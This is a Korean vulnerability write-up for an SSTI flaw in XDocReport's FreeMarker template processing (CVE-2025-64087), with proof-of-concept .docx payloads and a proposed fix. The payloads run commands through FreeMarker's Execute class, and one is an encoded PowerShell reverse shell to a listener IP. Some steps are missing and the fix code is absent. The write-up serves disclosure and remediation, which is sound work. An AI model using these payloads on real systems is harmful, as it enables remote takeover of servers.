
CVE-2025-64087(SSTI)
취약점 개요
SSTI(Server-Side Template Injection)는 콘텐츠 관리 시스템(CMS) 및 웹 프레임워크에서 사용되는 템플릿에 악성 코드를 삽입하여 원격 공격, 민감 정보 탈취 또는 시스템 침투 활동을 수행할 수 있게 하는 웹 보안 취약점입니다.
SSTI는 SQL Injection, XSS 등과 같은 Injection 취약점의 변형으로, 공격자가 템플릿 시스템을 악용하여 원격으로 악성 코드를 배포합니다. SSTI 공격이 성공하면 공격자는 서버 측에서 자신의 코드를 실행할 수 있으며, 이를 통해 민감 정보 수집, 시스템 침투 활동 수행, 인가되지 않은 리소스에 접근 등의 원격 공격을 할 수 있습니다.
SSTI 취약점은 일반적으로 안전하지 않은 템플릿 시스템을 사용하거나, 입력 매개변수를 템플릿에 삽입하기 전에 검증 및 처리하지 않아 발생합니다. SSTI 공격이 성공할 경우 피해 조직에 심각한 결과와 큰 손실을 초래할 수 있습니다.
비즈니스 영향
SSTI 취약점은 다음과 같은 여러 심각한 결과를 초래할 수 있습니다.
악성 코드 실행: 공격자는 이 취약점을 이용하여 서버에서 악성 코드를 실행할 수 있으며, 이를 통해 데이터 탈취, 시스템 상의 불법 행위 수행, 심지어 서버를 완전히 제어할 수 있습니다.
민감 정보 노출: SSTI를 통해 공격자는 서버의 파일을 읽거나, 변경하거나, 삭제할 수 있습니다. 이러한 파일에 계정 및 비밀번호와 같은 민감 정보가 포함된 경우, 공격자는 쉽게 이 정보를 노출시킬 수 있습니다.
사용자 협박 또는 사기 공격: 공격자는 SSTI를 사용하여 웹사이트 콘텐츠를 변경하거나 가짜 사용자 정의 버튼을 추가함으로써 사용자를 협박하거나 사기 공격을 수행할 수 있습니다. 사용자가 이러한 버튼을 클릭하면 공격자는 사용자 정보를 탈취하거나 사용자 컴퓨터에 악성 소프트웨어를 설치할 수 있습니다.
OpenSAGRES XDocReport에서 FreeMarker 엔진으로 DOCX 템플릿을 처리할 때 SSTI(Server-Side Template Injection) 취약점이 발견되었습니다. 특정 구성 하에서 조작된 템플릿은 원격 코드 실행(RCE)으로 이어질 수 있습니다.
인사 관리 웹사이트는 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있도록 합니다. 처리 과정에서 애플리케이션은 FreeMarker 템플릿 엔진(FreemarkerTemplateEngine.java 파일)을 사용하여 ${"freemarker.template.utility.Execute"?new()("whoami")} 콘텐츠를 입력 콘텐츠에 대한 제어 또는 필터링 메커니즘 없이 렌더링합니다.
이 취약점을 통해 공격자는 .docx 파일(템플릿)에 악성 표현식을 삽입하여 서버에서 원격 코드 실행(RCE)을 유발할 수 있으며, 정보 탈취 또는 시스템 제어에 악용될 수 있습니다.
fr.opensagres.xdocreport.template.freemarker — XDocReport (버전 1.0.0 ~ 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java 파일에서 입력 xdoc 파일의 콘텐츠를 검사하지 않습니다. 템플릿 콘텐츠가 그대로 로드되어 sandboxing 메커니즘이나 지시문/표현식 제한 없이 process(context, writer, template)에 전달되어 FreeMarker 엔진에 의해 처리됩니다. 결과적으로 공격자는 악성 FreeMarker 표현식/명령이 포함된 템플릿을 제공하여 원격 코드 실행(RCE)을 유발할 수 있습니다..docx 파일을 업로드합니다.```
${"freemarker.template.utility.Execute"?new()("calc")}
2. 성공적으로 실행되어 계산기 앱이 열리는 것을 확인

3. 마찬가지로 시스템에서 실행 중인 사용자 정보를 가져오려면 다음 payload를 사용:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx 파일이 시스템 데이터를 반환한 것을 확인할 수 있습니다.


6. RCE로 영향력 상향
- 수신 대기 중인 머신은 IP 주소 `172.26.208.130`을 가진 WSL입니다.

- 다음 페이로드를 이용한 익스플로잇:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx 파일을 xdocreport로 처리xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java 파일에 다음 내용을 추가합니다.제 수정 방법은 ${cuong.name}과 같은 일반 객체와 속성 렌더링을 계속 허용하며, 위험한 내장 함수만 차단합니다.
${'freemarker.template.utility.Execute'?new()('calc')} - ALLOWS_NOTHING_RESOLVER에 의해 차단됨${'java.lang.Runtime'?api.getRuntime()} - setAPIBuiltinEnabled(false)에 의해 차단됨?new() 및 ?api를 사용하는 다른 모든 페이로드가 차단됩니다.경로: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
변경 사항:
✅ 추가된 import: java.util.regex.Pattern
✅ validateTemplateSecurity(Reader reader) 메서드 추가 — 위험한 패턴 검증